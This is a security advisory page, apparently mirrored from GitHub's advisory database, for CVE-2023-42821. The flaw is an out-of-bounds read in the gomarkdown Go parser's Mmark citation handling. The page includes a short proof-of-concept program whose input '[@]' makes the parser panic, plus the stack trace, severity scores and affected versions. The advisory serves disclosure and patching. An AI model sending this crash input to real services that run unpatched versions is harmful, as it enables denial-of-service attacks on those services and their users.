Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1tOXhxLTZoMmotNjVyMs4AA2Ar

Markdown vulnerable to Out-of-bounds Read while parsing citations

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
	"github.com/gomarkdown/markdown"
	"github.com/gomarkdown/markdown/parser"
)

func main() {
	ext := parser.CommonExtensions |
		parser.Attributes |
		parser.OrderedListStart |
		parser.SuperSubscript |
		parser.Mmark
	p := parser.NewWithExtensions(ext)

	inp := []byte("[@]")
	markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
	/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Permalink: https://github.com/advisories/GHSA-m9xq-6h2j-65r2
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tOXhxLTZoMmotNjVyMs4AA2Ar
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 year ago
Updated: about 1 year ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS Percentage: 0.00097
EPSS Percentile: 0.41523

Identifiers: GHSA-m9xq-6h2j-65r2, CVE-2023-42821
References: Repository: https://github.com/gomarkdown/markdown
Blast Radius: 22.5

Affected Packages

go:github.com/gomarkdown/markdown
Dependent packages: 1,252
Dependent repositories: 1,009
Downloads:
Affected Version Ranges: < 0.0.0-20230922105210-14b16010c2ee
Fixed in: 0.0.0-20230922105210-14b16010c2ee
All affected versions: 0.0.0-20190912180731-281270bc6d83, 0.0.0-20191123064959-2c17d62f5098, 0.0.0-20200820230800-3724143f5294, 0.0.0-20200824053859-8c8b3816f167, 0.0.0-20201113031856-722100d81a8e, 0.0.0-20210514010506-3b9f47219fe7, 0.0.0-20210918222519-d0f88e9eb6e5, 0.0.0-20220310201231-552c6011c0b8, 0.0.0-20220607163217-45f7c050e2d1, 0.0.0-20220627144906-e9a81102ebeb, 0.0.0-20220731190611-dcdaee8e7a53, 0.0.0-20220825072242-90efaac57fb4, 0.0.0-20220829112121-a940a8f5bc05, 0.0.0-20221013030248-663e2500819c, 0.0.0-20230309071026-b9a42cb9b4a0, 0.0.0-20230309071408-e444975d2bd9, 0.0.0-20230309071618-d640a388c6c5, 0.0.0-20230309072206-3418bbfe2069, 0.0.0-20230309073835-0cff362ab5d9, 0.0.0-20230309081604-09e1818272d6, 0.0.0-20230309083625-de14518eadd0, 0.0.0-20230309092824-3238e54d4819, 0.0.0-20230310225216-e92f2877bcce, 0.0.0-20230311184306-fc0ebebbe9af, 0.0.0-20230311185209-fc3f3a72c23a, 0.0.0-20230311204719-630fdb2a10ae, 0.0.0-20230311221154-ee98e42be4e5, 0.0.0-20230312001534-ae1a42e38ef1, 0.0.0-20230312174038-279c45774906, 0.0.0-20230312215031-f439dd2b4436, 0.0.0-20230313173142-2ced44d5b584, 0.0.0-20230321044648-154b583bceb3, 0.0.0-20230321061146-9af27b67c68e, 0.0.0-20230322035321-5f17e2f50624, 0.0.0-20230322041520-c84983bdbf2a, 0.0.0-20230711084535-11b03c0ae6d6, 0.0.0-20230714230225-84ecad09a30a, 0.0.0-20230715013231-a46a3be917c7, 0.0.0-20230716120725-531d2d74bc12, 0.0.0-20230912175223-14b07df9d538, 0.0.0-20230916125811-7478c230c7cd
All unaffected versions: